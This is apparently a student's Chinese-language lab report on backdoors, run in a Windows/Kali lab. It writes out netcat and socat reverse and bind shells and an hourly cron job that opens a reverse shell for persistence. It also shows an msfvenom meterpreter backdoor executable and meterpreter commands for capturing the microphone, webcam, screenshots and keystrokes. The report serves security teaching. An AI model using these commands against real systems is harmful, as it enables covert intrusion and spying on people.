20145237《网络对抗》Exp2 后门原理与实践
Windows获得Linux Shell
在Windows下,先使用ipconfig
指令查看本机IP:
输入ncat.exe -l -p 5237
使用ncat.exe
程序监听本机的5237端口:
在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5237端口:
Windows下成功获得了一个Kali的shell,运行ls指令如下:
Linux获得Windows Shell
过程与之前的类似,在Kali环境下用ifconfig
查看IP:
使用nc -l -p 5237
指令监听5237端口:
在Windows下,输入ncat.exe -e cmd.exe 192.168.35.128 5237
使用ncat.exe程序的-e选项项反向连接Kali主机的5237端口:
Kali下可以看到Windows的命令提示,可以输入Windows命令:
使用netcat获取主机操作Shell,cron启动
实验内容
先在Windows系统下,用`ncat.exe -l -p 5237
,监听5237端口
用crontab -e指令编辑一条定时任务(输入3,选vim.basic)
在最后一行添加30 * * * * /bin/netcat 192.168.1.200 5237 -e /bin/sh,意思是在每个小时的第30分钟反向连接Windows主机的5237端口(设置成30的原因是我当时的时间是28分):
使用socat获取主机操作Shell, 任务计划启动
使用socat获取主机操作Shell, 任务计划启动
实践过程
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
在操作->程序或脚本中选择你socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5237 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5237,同时把cmd.exe
的stderr
重定向到stdout
上:
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
此时,在Kali环境下输入指令socat - tcp:192.168.1.200:5237,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5237端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.86.129 LPORT=5237 -f exe > 20145237_backdoor.exe生成后门程序:
通过nc指令将生成的后门程序传送到Windows主机上:
windows:ncat.exe -l 5237 > 20145237.exe
kali:nc 192.168.1.100 5237 < 20145237.exe
在Kali上使用msfconsole指令进入msf控制台,set payload windows/meterpreter/reverse_tcp
,使用监听模块,设置payload,设置反弹回连的IP和端口
设置完成后,执行监听:
打开Windows上的后门程序:
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令可以截获一段音频:
使用webcam_snap指令可以使用摄像头进行拍照:
使用webcam stream指令可以使用摄像头进行录像:
使用screenshot指令可以进行截屏:
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录: